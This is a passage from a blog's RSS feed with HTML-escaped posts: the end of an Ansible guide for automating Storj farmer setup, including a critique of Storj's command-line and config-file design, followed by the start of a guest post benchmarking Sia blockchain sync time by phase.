      - payment_address: &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$PAYMENT_ADDRESS_B&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
        rpc_address: &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$STORJ_SERVER&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
        rpc_port: 6001
        storage_dir: /mnt/path2
        share_size: 1GB
  roles:
    - { role: mtlynch.storj }&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; install.yml

&lt;span class=&quot;c&quot;&gt;# Run the playbook.&lt;/span&gt;
ansible-playbook install.yml &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; hosts
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When the playbook completes, you can check the status remotely using &lt;code class=&quot;highlighter-rouge&quot;&gt;storjshare status&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ansible all &lt;span class=&quot;nt&quot;&gt;--inventory&lt;/span&gt; hosts &lt;span class=&quot;nt&quot;&gt;--module-name&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;command&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--args&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;storjshare status&quot;&lt;/span&gt;
storj-server | SUCCESS | &lt;span class=&quot;nv&quot;&gt;rc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0 &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;

┌─────────────────────────────────────────────┬─────────┬──────────┬──────────┬─────────┬───────────────┬─────────┬──────────┬───────────┬──────────────┐
│ Node                                        │ Status  │ Uptime   │ Restarts │ Peers   │ Allocs        │ Delta   │ Port     │ Shared    │ Bridges      │
├─────────────────────────────────────────────┼─────────┼──────────┼──────────┼─────────┼───────────────┼─────────┼──────────┼───────────┼──────────────┤
│ a89d2d31de737f4a7f2879eb3e1da0cbc7846f43    │ running │ 12s      │ 0        │ 6       │ 0             │ 16ms    │ 6000     │ ...       │ connected    │
│   → /mnt/path1                              │         │          │          │         │ 0 received    │         │ &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;uPnP&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;   │ &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;...%&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;    │              │
├─────────────────────────────────────────────┼─────────┼──────────┼──────────┼─────────┼───────────────┼─────────┼──────────┼───────────┼──────────────┤
│ bbfafb3dddc20ac76dc1766357401e2ed91d6f9b    │ running │ 10s      │ 0        │ 135     │ 0             │ 15ms    │ 6001     │ ...       │ connected    │
│   → /mnt/path2                              │         │          │          │         │ 0 received    │         │ &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;uPnP&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;   │ &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;...%&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;    │              │
└─────────────────────────────────────────────┴─────────┴──────────┴──────────┴─────────┴───────────────┴─────────┴──────────┴───────────┴──────────────┘
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The video below demonstrates these commands running against a bare Ubuntu 16.04 server on Google Compute Engine:&lt;/p&gt;

&lt;script src=&quot;https://asciinema.org/a/IuSde3JEpeu00kff68L8AujYv.js&quot; id=&quot;asciicast-IuSde3JEpeu00kff68L8AujYv&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;h2 id=&quot;a-brief-rant-on-storj&quot;&gt;A brief rant on Storj&lt;/h2&gt;

&lt;p&gt;Storj is really unfriendly to automation. While writing this Ansible role, I got the strong sense that the Storj developers put most of their effort into the GUI and didn’t pay much attention to command-line scenarios.&lt;/p&gt;

&lt;p&gt;Here are some examples:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/Storj/storjshare-daemon/issues/335&quot;&gt;Storj doesn’t set the exit code on failure&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Most Linux applications set a failing exit code when they exit due to error. Storj doesn’t, so I can’t tell whether a command succeeded unless I parse Storj’s output.&lt;/p&gt;

&lt;p&gt;But then I’m still stuck because Storj doesn’t print “fail” in the output for every failure, like with this error message for invalid syntax:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;no payment address was given, try --help
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So that means that to determine whether a command succeeded or failed, I have to know every possible error message Storj can produce.&lt;/p&gt;

&lt;p&gt;And even then, I &lt;em&gt;still&lt;/em&gt; have trouble because…&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/Storj/storjshare-daemon/issues/336&quot;&gt;Storj writes output inconsistently&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For some commands, Storj writes error messages to stdout. For others, it writes error messages to stderr.&lt;/p&gt;

&lt;p&gt;See for example the following two calls to &lt;code class=&quot;highlighter-rouge&quot;&gt;storjshare create&lt;/code&gt;. In the first case, Storj writes the error message to stderr:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;storjshare create &lt;span class=&quot;nt&quot;&gt;--noedit&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--outfile&lt;/span&gt; /tmp/a.json 1&amp;gt; /tmp/stdout-output.txt 2&amp;gt; /tmp/stderr-output.txt
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /tmp/stdout-output.txt
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /tmp/stderr-output.txt

  no payment address was given, try &lt;span class=&quot;nt&quot;&gt;--help&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In a very similar case, Storj writes the nothing to stderr and instead writes to stdout:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;storjshare create &lt;span class=&quot;nt&quot;&gt;--noedit&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--outfile&lt;/span&gt; /notexists/a.json &lt;span class=&quot;nt&quot;&gt;--storj&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;0x0000000000000000000000000000000000000000&quot;&lt;/span&gt; 1&amp;gt; /tmp/stdout-output.txt 2&amp;gt; /tmp/stderr-output.txt
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /tmp/stdout-output.txt

  failed to write config, reason: ENOENT: no such file or directory, open &lt;span class=&quot;s1&quot;&gt;&apos;/notexists/a.json&apos;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /tmp/stderr-output.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;The config files are all sorts of awful&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Where do I begin with the config files? I could write a whole blog post about how hard they are to deal with.&lt;/p&gt;

&lt;p&gt;First, every farmer needs its own, separate config file. And then the daemon needs its own separate config file. About half of the settings in the config file, like log verbosity or external IP, make a lot more sense on a per-system basis than a per-process basis. Splitting everything into separate files adds complexity that doesn’t need to be there.&lt;/p&gt;

&lt;p&gt;Next, the config files are in a custom format that’s &lt;em&gt;almost&lt;/em&gt; JSON but isn’t.&lt;/p&gt;

&lt;p&gt;Real JSON would be bad enough because it’s unnecessarily error-prone to edit by hand. For example, this is what the end of the Storj farmer config file looks like:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;w&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;//&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;Valid&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;units&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;are&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;B,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;KB,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;MB,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;GB,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;TB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;storageAllocation&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;5GB&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;//&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;Max&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;shards&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;that&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;will&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;be&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;accepted&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;and&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;stored&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;//&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;Use&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;and&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;make&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;lower&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;you&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;don&apos;t&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;have&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;strong&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;internet&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;connection&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;//&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;maxShardSize&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;100MB&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What happens if I uncomment the &lt;code class=&quot;highlighter-rouge&quot;&gt;maxShardSize&lt;/code&gt; line? Whoops, now my config file is invalid because I forgot to add a trailing comma to the &lt;code class=&quot;highlighter-rouge&quot;&gt;storageAllocation&lt;/code&gt; line.&lt;/p&gt;

&lt;p&gt;Also, did you notice those &lt;code class=&quot;highlighter-rouge&quot;&gt;//&lt;/code&gt; comments? Those are &lt;a href=&quot;https://stackoverflow.com/q/244777/90388&quot;&gt;not valid in JSON&lt;/a&gt;, which means that if you try to read these files using a real JSON library, everything blows up:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;python &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;import json; print json.load(open(&apos;/opt/storj/configs/0x161441Efd42171687dd1468A9e23E74226541c38.config&apos;))&quot;&lt;/span&gt;
Traceback &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;most recent call last&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:
  File &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;string&amp;gt;&quot;&lt;/span&gt;, line 1, &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &amp;lt;module&amp;gt;
  File &lt;span class=&quot;s2&quot;&gt;&quot;/usr/lib/python2.7/json/__init__.py&quot;&lt;/span&gt;, line 291, &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;load
    &lt;span class=&quot;k&quot;&gt;**&lt;/span&gt;kw&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
  File &lt;span class=&quot;s2&quot;&gt;&quot;/usr/lib/python2.7/json/__init__.py&quot;&lt;/span&gt;, line 339, &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;loads
    &lt;span class=&quot;k&quot;&gt;return &lt;/span&gt;_default_decoder.decode&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
  File &lt;span class=&quot;s2&quot;&gt;&quot;/usr/lib/python2.7/json/decoder.py&quot;&lt;/span&gt;, line 364, &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;decode
    obj, end &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; self.raw_decode&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s, &lt;span class=&quot;nv&quot;&gt;idx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;_w&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s, 0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;.end&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;
  File &lt;span class=&quot;s2&quot;&gt;&quot;/usr/lib/python2.7/json/decoder.py&quot;&lt;/span&gt;, line 380, &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;raw_decode
    obj, end &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; self.scan_once&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s, idx&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
ValueError: Expecting property name: line 2 column 3 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;char 4&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So these files are not friendly to human editing &lt;em&gt;or&lt;/em&gt; programmatic editing.&lt;/p&gt;

&lt;p&gt;Even though the config files look straightforward enough, I can’t generate one myself. It includes the field &lt;code class=&quot;highlighter-rouge&quot;&gt;networkPrivateKey&lt;/code&gt;, which requires me to supply a key that I don’t know how to generate or format unless I dive into the Storj implementation.&lt;/p&gt;

&lt;p&gt;There’s also no way for me to determine what configuration was used to launch a farmer node. I can’t query a running farmer’s settings, so the only way to ensure that a farmer is running the latest configuration file is to kill it and relaunch it.&lt;/p&gt;

&lt;p&gt;But even that is unnecessarily hard because &lt;code class=&quot;highlighter-rouge&quot;&gt;storjshare&lt;/code&gt; manages farmer nodes by node ID, but the node ID is not discoverable from the config file. Supposedly the node ID is derived from the &lt;code class=&quot;highlighter-rouge&quot;&gt;networkPrivateKey&lt;/code&gt; field, but the exact method is not documented.&lt;/p&gt;

&lt;p&gt;So, the best option I’m aware of to discover which config file corresponds to which farmer node is to:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Parse the config file (using a custom parser that understands the almost-JSON format)&lt;/li&gt;
  &lt;li&gt;Find the &lt;code class=&quot;highlighter-rouge&quot;&gt;rpcPort&lt;/code&gt; field&lt;/li&gt;
  &lt;li&gt;Run &lt;code class=&quot;highlighter-rouge&quot;&gt;storjshare status&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Parse its output out of the crazy, overly-formatted table it prints&lt;/li&gt;
  &lt;li&gt;Find the entry in the table whose port matches&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A pretty unreasonable number of steps just to figure out the farmer node associated with a config file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;And other annoyances&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Storj doesn’t have a documented API for management, so the best you can do for automation is call its command-line utilities.&lt;/li&gt;
  &lt;li&gt;It’s difficult to verify that you’re farming successfully with Storj. Your best option seems to be to wait several days to see if you receive any data shares.&lt;/li&gt;
  &lt;li&gt;Storj only works if its background daemon process is running, but it’s not a proper Linux service so you can’t manage this daemon using standard Linux utilities.&lt;/li&gt;
  &lt;li&gt;Storj prints its output in a highly-formatted table, which makes it hard to consume the output using standard Linux utilities.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Okay, I’m done ranting now.&lt;/p&gt;

&lt;h2 id=&quot;open-source&quot;&gt;Open Source&lt;/h2&gt;

&lt;p&gt;ansible-role-storj is fully open-source and available on Github:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/mtlynch/ansible-role-storj&quot;&gt;https://github.com/mtlynch/ansible-role-storj&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;support&quot;&gt;Support&lt;/h2&gt;

&lt;p&gt;ansible-role-storj currently supports installing Storj on Ubuntu/Debian flavored OSes.&lt;/p&gt;

&lt;p&gt;I don’t plan to add support for other OSes, but I will happily accept pull requests if anyone would like to implement this.&lt;/p&gt;
</description>
        <pubDate>Fri, 06 Apr 2018 00:00:00 +0000</pubDate>
        <link>https://spaceduck.mtlynch.io/automating-storj-setup/</link>
        <guid isPermaLink="true">https://spaceduck.mtlynch.io/automating-storj-setup/</guid>
      </item>
    
      <item>
        <title>Benchmarking Sia&apos;s Blockchain Sync</title>
        <description>&lt;p&gt;&lt;em&gt;This is a guest post by Sia community contributor &lt;a href=&quot;https://github.com/tbenz9&quot;&gt;Thomas Bennett&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Synchronizing the Sia blockchain takes a long time and is required for using the Sia wallet, hosting, or renting space on the Sia network.&lt;/p&gt;

&lt;p&gt;I was frustrated with how long the initial sync was taking so I decided to look into what Sia was doing during that time, and what I can do to reduce initial sync time.&lt;/p&gt;

&lt;h2 id=&quot;the-blockchain-is-big-and-getting-bigger&quot;&gt;The blockchain is big and getting bigger&lt;/h2&gt;

&lt;p&gt;Every Siacoin, Siafund, smart contract, and storage proof transaction is stored on the Sia blockchain and in your local &lt;code class=&quot;highlighter-rouge&quot;&gt;consensus.db&lt;/code&gt; file. Add all these transactions together and you’re looking at over 8,000,000 transactions stored as of March 2018.&lt;/p&gt;

&lt;figure class=&quot;&quot;&gt;
  



&lt;a href=&quot;/images/2018-04-05-sia-blockchain-sync/total-transactions.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-04-05-sia-blockchain-sync/total-transactions.png&quot; alt=&quot;total transactions graph&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-04-05-sia-blockchain-sync/372/total-transactions.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-04-05-sia-blockchain-sync/672/total-transactions.png 672w,            https://spaceduck.mtlynch.io/images/resized/2018-04-05-sia-blockchain-sync/756/total-transactions.png 756w,            https://spaceduck.mtlynch.io/images/resized/2018-04-05-sia-blockchain-sync/840/total-transactions.png 840w,         https://spaceduck.mtlynch.io/images/2018-04-05-sia-blockchain-sync/total-transactions.png 1200w&quot; sizes=&quot;(max-width: 52em) 672px, (max-width: 96em) 840px, 100vw&quot; class=&quot; border&quot; /&gt;
&lt;/a&gt;



  &lt;figcaption&gt;Total historic Sia blockchain transactions &amp;#40;Source&amp;#58; SiaStats.info&amp;#41;&lt;/figcaption&gt;



&lt;/figure&gt;

&lt;p&gt;When you perform the initial sync, Sia downloads every block (over 146,000 at the time of this writing) from its peers and adds them to the local &lt;code class=&quot;highlighter-rouge&quot;&gt;consensus.db&lt;/code&gt; file. Before adding it to your &lt;code class=&quot;highlighter-rouge&quot;&gt;consensus.db&lt;/code&gt; file Sia performs a variety of actions on every block. The workflow looks something like this:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Download block&lt;/li&gt;
  &lt;li&gt;Validate block header and metadata&lt;/li&gt;
  &lt;li&gt;Validate every transaction in block&lt;/li&gt;
  &lt;li&gt;Write every transaction to &lt;code class=&quot;highlighter-rouge&quot;&gt;consensus.db&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Notify Sia subscribers&lt;/li&gt;
  &lt;li&gt;Repeat steps 1-5 another 146,000+ times until the blockchain is fully synced.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Sia downloads blocks in batches of 10, but it needs to process and validate every transaction within the block in sequential order because future transactions depend on previous ones.&lt;/p&gt;

&lt;p&gt;I was frustrated with how long the initial sync took, so I started to do some rough benchmarking and made some interesting discoveries.&lt;/p&gt;

&lt;figure class=&quot;&quot;&gt;
  



&lt;a href=&quot;/images/2018-04-05-sia-blockchain-sync/default-configuration-pie.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-04-05-sia-blockchain-sync/default-configuration-pie.png&quot; alt=&quot;time-spent-on-each-task-pie-chart&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-04-05-sia-blockchain-sync/372/default-configuration-pie.png 372w,         https://spaceduck.mtlynch.io/images/2018-04-05-sia-blockchain-sync/default-configuration-pie.png 667w&quot; sizes=&quot;(max-width: 52em) 672px, (max-width: 96em) 840px, 100vw&quot; class=&quot; border&quot; /&gt;
&lt;/a&gt;



  &lt;figcaption&gt;Percent time spent on each task&lt;/figcaption&gt;



&lt;/figure&gt;

&lt;h2 id=&quot;downloading-blocks&quot;&gt;Downloading blocks&lt;/h2&gt;

&lt;p&gt;My benchmarking revealed that with default Sia settings it took an average of 167 minutes to download the blocks, that’s 54.91% of the average 309 minutes it took to sync from block 0 to block 146,000. Assuming 10GB of blocks are downloaded that’s an average of 7.98Mb/s throughput. I believe the download portion takes so long for a variety of reasons:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Sia depends on its peers’ upload bandwidth.
    &lt;ul&gt;
      &lt;li&gt;Some peers may have poor upload bandwidth, not much I can do about that.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Sia has long timeouts.
    &lt;ul&gt;
      &lt;li&gt;Sia waits for up to five minutes for a peer to send a batch of 10 blocks. If the peer doesn’t send these blocks, Sia sits idle for 5 minutes. This appears to have happened several times during the sync.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Sia downloads in small batches
    &lt;ul&gt;
      &lt;li&gt;Sia downloads bocks in batches of 10. That means Sia requests blocks at least 14,600 times for a full blockchain sync. I believe Sia could request blocks in batches of 100, or even 1,000 and reduce some of the overhead from making so many requests.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;figure class=&quot;&quot;&gt;
  



&lt;a href=&quot;/images/2018-04-05-sia-blockchain-sync/blockchain-size.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-04-05-sia-blockchain-sync/blockchain-size.png&quot; alt=&quot;Sia blockchain size graph&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-04-05-sia-blockchain-sync/372/blockchain-size.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-04-05-sia-blockchain-sync/672/blockchain-size.png 672w,            https://spaceduck.mtlynch.io/images/resized/2018-04-05-sia-blockchain-sync/756/blockchain-size.png 756w,            https://spaceduck.mtlynch.io/images/resized/2018-04-05-sia-blockchain-sync/840/blockchain-size.png 840w,         https://spaceduck.mtlynch.io/images/2018-04-05-sia-blockchain-sync/blockchain-size.png 1200w&quot; sizes=&quot;(max-width: 52em) 672px, (max-width: 96em) 840px, 100vw&quot; class=&quot; border&quot; /&gt;
&lt;/a&gt;



  &lt;figcaption&gt;Sia blockchain growth over time &amp;#40;Source&amp;#58; SiaStats.info&amp;#41;&lt;/figcaption&gt;



&lt;/figure&gt;

&lt;h2 id=&quot;validate-every-transaction-in-block&quot;&gt;Validate every transaction in block&lt;/h2&gt;

&lt;p&gt;Sia validates every transaction in every block in sequential order because each transaction depends on past transactions.&lt;/p&gt;

&lt;p&gt;Validations are typically sanity checks. For example, a transaction might say wallet A sent 10 Siacoins to wallet B. Before Sia marks such a transaction as valid, it checks if wallet A had a balance of 10 or more Siacoins prior to the transaction.&lt;/p&gt;

&lt;p&gt;Validating the transactions in my tests took an average of 41 minutes or 14.11% of the total sync time. This process is very I/O intensive, and I believe I was helped significantly by my super-fast NVMe SSD. I expect a user running the sync on a more traditional HDD or thumb-drive (not recommended) might spend significantly more time in the validation step.&lt;/p&gt;

&lt;h2 id=&quot;apply-block-to-consensusdb&quot;&gt;Apply block to consensus.db&lt;/h2&gt;

&lt;p&gt;Before running my benchmarks I was under the impression that applying the blocks took the most time. I found this to be untrue.&lt;/p&gt;

&lt;p&gt;Applying blocks to the &lt;code class=&quot;highlighter-rouge&quot;&gt;consensus.db&lt;/code&gt; took an average of 4 minutes or 1.35% of the total time for the sync. Writing out the &lt;code class=&quot;highlighter-rouge&quot;&gt;consensus.db&lt;/code&gt; file is not the slow part of the sync, but this may depend on your storage hardware. The speed of my SSD probably reduced the time Sia spent writing to disk.&lt;/p&gt;

&lt;h2 id=&quot;notifying-subscribers&quot;&gt;Notifying subscribers&lt;/h2&gt;

&lt;p&gt;When Sia downloads a new block, the consensus module advertises that change to its “subscribers.”  Different Sia modules can subscribe to each other to stay up to date.  For example, the wallet module subscribes to the consensus module to stay current with the latest transactions.&lt;/p&gt;

&lt;p&gt;Updating subscribers is not strictly required when doing the initial blockchain sync, and it takes a lot of processing power and time. In my tests updating subscribers took an average of 55 minutes or 19.06% of the total time.&lt;/p&gt;

&lt;p&gt;I have not identified exactly why updating subscribers takes so long, but in every case, it took at least 17 seconds per 1,000 blocks.&lt;/p&gt;

&lt;h2 id=&quot;everything-else&quot;&gt;Everything else&lt;/h2&gt;

